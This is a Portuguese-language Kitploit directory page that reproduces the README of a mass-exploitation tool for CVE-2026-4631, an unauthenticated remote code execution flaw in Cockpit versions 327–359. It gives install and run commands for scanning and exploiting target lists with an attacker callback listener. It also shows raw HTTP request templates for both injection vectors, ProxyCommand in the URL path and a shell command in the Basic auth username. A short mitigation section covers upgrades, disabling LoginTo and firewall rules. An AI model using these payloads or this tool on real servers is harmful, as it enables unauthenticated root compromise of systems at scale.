Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-4631-cockpit-RCE — Execução Remota de Código Não Autenticada via Injeção de Argumentos de Linha de Comando SSH nas versões 327 – 359 do Cockpit | CVSS 9.8 Crítico | CWE-78 | Kitploit
Ferramentas/GitHubGitHub/exdev994/cve-2026-4631-cockpit-rce
Scanners de VulnerabilidadesGeração de PayloadsExploraçãoExploração de Aplicações WebColeta de InformaçõesTestes de PenetraçãoComando e ControleRed TeamingFerramenta de Acesso Remoto
GitHubexdev994/cve-2026-4631-cockpit-rce

CVE-2026-4631-cockpit-RCE

Execução Remota de Código Não Autenticada via Injeção de Argumentos de Linha de Comando SSH nas versões 327 – 359 do Cockpit | CVSS 9.8 Crítico | CWE-78

Ver Repositório
21há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-4631 — Ferramenta de Exploração em Massa do Cockpit

Execução Remota de Código não Autenticada via Injeção de Argumentos de Linha de Comando SSH Cockpit versões 327 – 359 | CVSS 9.8 Crítico | CWE-78

Ferramenta de exploração em massa para CVE-2026-4631 no serviço web do Cockpit (cockpit-ws, porta 9090). Suporta modo de varredura de vulnerabilidade, modo RCE com captura de saída de comando via ouvinte de callback HTTP embutido, modo --auto (varredura + exploração em uma única execução com comando padrão id), adição automática da porta :9090 para alvos sem porta, ambos os vetores de ataque (ProxyCommand + injeção de username %r), alvos em massa a partir de arquivo, concorrência com threads e saída de resultado estruturada.

Autor: 0xNuts


Início Rápido

Clonar e Instalar

git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE
pip install -r requirements.txt

Preparar Alvo

Edite targets.txt — um host por linha. A porta :9090 é adicionada automaticamente se não existir:

192.168.1.10
cockpit.example.com
https://manage.lab.local

Executar (Modo AUTO — Recomendado)

# Varredura + exploração em uma única execução, comando padrão "id"
python3 exploit.py -f targets.txt --auto --callback-ip <IP_ATACANTE>

# Exemplo de saída em results.txt:
# example.com:9090 [ uid=0(root) gid=0(root) groups=0(root) ]

Outros Modos

# Apenas varredura de vulnerabilidade (sem exploração)
python3 exploit.py -f targets.txt --scan -o scan_results.txt

# RCE explícito com comando personalizado
python3 exploit.py -f targets.txt -c "whoami" --callback-ip <IP_ATACANTE>

# Alvo único
python3 exploit.py -t cockpit.example.com --auto --callback-ip <IP_ATACANTE>

Notas sobre Callback

CVE-2026-4631 é um RCE cego — a saída do comando não retorna na resposta HTTP. A ferramenta utiliza um ouvinte HTTP embutido (porta padrão 8888) para capturar a saída. Certifique-se de que:

  1. --callback-ip é um IP acessível a partir do alvo (não 127.0.0.1)
  2. O firewall permite tráfego TCP de entrada na porta 8888 (ou --listener-port personalizada)
  3. O alvo pode fazer HTTP de saída para o IP do atacante

Como Corrigir / Mitigar (Defensor)

1. Atualizar o Cockpit (Obrigatório)

# Debian / Ubuntu
sudo apt update && sudo apt install cockpit-ws

# RHEL / Fedora / CentOS
sudo dnf update cockpit-ws

# Verificar versão (deve ser >= 360)
dpkg -l cockpit-ws | awk 'NR==5{print $3}'   # Debian
rpm -q cockpit-ws                            # RHEL

2. Desabilitar Login Remoto (Solução Alternativa)

Edite /etc/cockpit/cockpit.conf:

[WebService]
LoginTo = false

Reinicie o serviço:

sudo systemctl restart cockpit

3. Segmentação de Rede

Restrinja a porta 9090 apenas à rede de gerenciamento:

sudo iptables -A INPUT -p tcp --dport 9090 -s 10.0.0.0/8 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 9090 -j DROP

4. Atualizar OpenSSH >= 9.6

Mitiga o Vetor 1 (injeção ProxyCommand) através da validação precoce do hostname:

ssh -V   # deve ser OpenSSH_9.6 ou superior

5. Patch Manual (Backport)

Se não for possível atualizar para 360, aplique os patches dos commits:

  • cockpit 9d0695647 — adiciona separador -- em beiboot.py e cockpitauth.c
  • ferny 44ec511c99 — adiciona -- em session.py

Detalhes do patch: veja docs/PATCH_ANALYSIS.md


Índice

  1. Resumo da Vulnerabilidade
  2. Vetor de Ataque
  3. Pré-requisitos de Exploração
  4. Instalação
  5. Uso
  6. Modos de Operação
  7. Exemplos de Execução
  8. Formato de Saída
  9. Arquitetura da Ferramenta
  10. Estrutura de Arquivos
  11. Mecanismo de Captura de RCE Cego
  12. Detecção e Mitigação
  13. Aviso Legal
  14. Referências

Resumo da Vulnerabilidade

CampoDetalhe
CVE IDCVE-2026-4631
GHSAGHSA-m4gv-x78h-3427
SeveridadeCrítico (CVSS 9.8)
CWECWE-78 — Injeção de Comando no Sistema Operacional
AfetadoCockpit 327 – 359
Corrigido emCockpit 360+
Autenticação necessáriaNÃO (pré-autenticação)
RelatorJelle van der Waa
Serviçocockpit-ws, porta padrão 9090

O Cockpit v327 substituiu cockpit-ssh (libssh) por python3 -m cockpit.beiboot, que invoca o cliente ssh do OpenSSH do sistema. Entradas controladas pelo usuário — hostname do caminho da URL e username do cabeçalho Authorization: Basic — são passadas para o ssh sem sanitização e sem o separador -- de fim de opções. A injeção ocorre antes da verificação de credenciais, portanto não é necessário um login válido.


Vetor de Ataque

Vetor 1 — Injeção de ProxyCommand (Principal)

O hostname do caminho da URL é injetado com a opção SSH -oProxyCommand=<cmd>.

GET /cockpit+=-oProxyCommand=<PAYLOAD_CODIFICADO_URL>/login HTTP/1.1
Host: alvo:9090
Authorization: Basic base64("x:x")

O SSH interpreta -oProxyCommand=<cmd> como uma opção, executando <cmd> como ProxyCommand. O comando é executado como o processo do usuário cockpit-ws.

Pré-requisito: OpenSSH < 9.6 no alvo. OpenSSH 9.6+ possui validação precoce de hostname que bloqueia metacaracteres.

Vetor 2 — Injeção do Token %r no Username (Secundário)

O username do cabeçalho Authorization: Basic é injetado com um comando shell.

GET /cockpit+=legit-host/login HTTP/1.1
Host: alvo:9090
Authorization: Basic base64("x; <CMD>; #:x")

O SSH expande %r com o username dentro da diretiva Match exec → o shell executa o comando injetado.

Pré-requisito: o ssh_config do alvo possui uma diretiva Match exec com o token %r.


Pré-requisitos de Exploração

Lado do Atacante (máquina que executa a ferramenta)

  • Python 3.8+
  • IP acessível a partir do alvo Cockpit (para o ouvinte de callback)
  • Porta aberta para o ouvinte (padrão 8888)
  • Firewall permitindo tráfego de entrada do alvo para a porta do ouvinte

Lado do Alvo (instância Cockpit)

  • Versão do Cockpit 327 – 359
  • Porta 9090 acessível
  • Recurso de login remoto (LoginTo) não desabilitado
  • Para Vetor 1: OpenSSH < 9.6
  • Para Vetor 2: ssh_config com Match exec %r

Instalação

# Clonar do GitHub
git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE

# Instalar dependências
pip install -r requirements.txt

# Verificar
python3 exploit.py --help

Dependências

  • requests>=2.31 — Cliente HTTP para requisições de exploração
  • colorama>=0.4 — Saída colorida no terminal

Nenhuma dependência adicional para o ouvinte (usa http.server + threading da stdlib).


Uso

usage: exploit.py [-h] [-t TARGET] [-f FILE] [--default-port PORT]
                  [-c CMD] [--scan] [--auto] [--vector {auto,proxycommand,username}]
                  [-o OUTPUT] [--callback-ip CALLBACK_IP] [--listener-port LISTENER_PORT]
                  [--threads THREADS] [--timeout TIMEOUT] [--delay DELAY] [--proxy PROXY]
                  [--user-agent UA] [-v] [--no-color]

CVE-2026-4631 Cockpit Mass Exploit — RCE não autenticado via injeção de argumento SSH
Baixar ferramenta